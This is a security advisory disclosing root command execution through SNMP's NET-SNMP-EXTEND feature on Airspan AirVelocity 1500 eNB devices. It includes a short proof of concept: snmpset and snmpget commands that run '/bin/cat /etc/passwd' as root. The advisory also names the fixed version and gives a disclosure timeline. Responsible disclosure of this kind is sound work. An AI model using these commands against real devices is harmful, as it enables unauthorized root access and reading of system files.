Airspan SNMP root command execution

Moderate **vladionescu** published **GHSA-whc6-2989-42xm** on Jul 20

Package

AirVelocity 1500 eNB (Airspan)

Affected versions	Patched versions
9.3.0.01249	15.18.00.2511

Description

Vulnerability Description

As its SNMP server, the device runs snmpd, an open-source SNMP daemon for Linux maintained by the Net-SNMP project. By default, snmpd allows clients to run custom monitoring commands. Since it runs as root on this device, this allows reliable remote root command execution for anyone with the SNMP r/w credential. This feature has been documented publicly in the past.

Although snmpd is working as designed in this case, we consider the fact that this specific functionality was left enabled to be a bug given that other avenues to root access on the device (serial console, SSH) are locked down.

To run commands as root an attacker needs to be able to write SNMP variables, which means having the read/write community string and access to the management interface, for example by being connected to the same logical network as the eNB's uplink or by plugging an Ethernet cable in directly to the eNB.

If the SNMP credentials are unknown, they can be obtained with authenticated access to the web UI (GHSA-qjgc-rx8m-q58x) or physical access to the eNB (GHSA-8j75-qh6c-wpc5).

Proof of Concept

First, write the `nsExtendStatus`, `nsExtendCommand`, and `nsExtendArgs` SNMP variables with the command (and arguments) to run, then read `nsExtendOutputFull` to run the command and get its output.

In this example we call the command `rce_example` and are running `/bin/cat /etc/passwd`.

```
SNMP_HOST=<device hostname or ip>

RW_COMMUNITY=<rw community string>

# Add command
snmpset -v2c -c "$RW_COMMUNITY" \
  -m +NET-SNMP-EXTEND-MIB \
  "$SNMP_HOST" \
  'nsExtendStatus."rce_example"'  = 'createAndGo' \
  'nsExtendCommand."rce_example"' = '/bin/cat'   \
  'nsExtendArgs."rce_example"'    =  '/etc/passwd'

# Run command
snmpget -v2c -c "$RW_COMMUNITY" -Oqv "$SNMP_HOST" 'nsExtendOutputFull."rce_example"'
```

Fix

Airspan released version 15.18.00.2511 in early June which we verified fixes this issue.

Timeline

Reported: March 17, 2022
Fix: June 2, 2022
Published: July 20, 2022

Severity

Moderate

CVE ID

CVE-2022-36310

Weaknesses

No CWEs

Credits

tchebb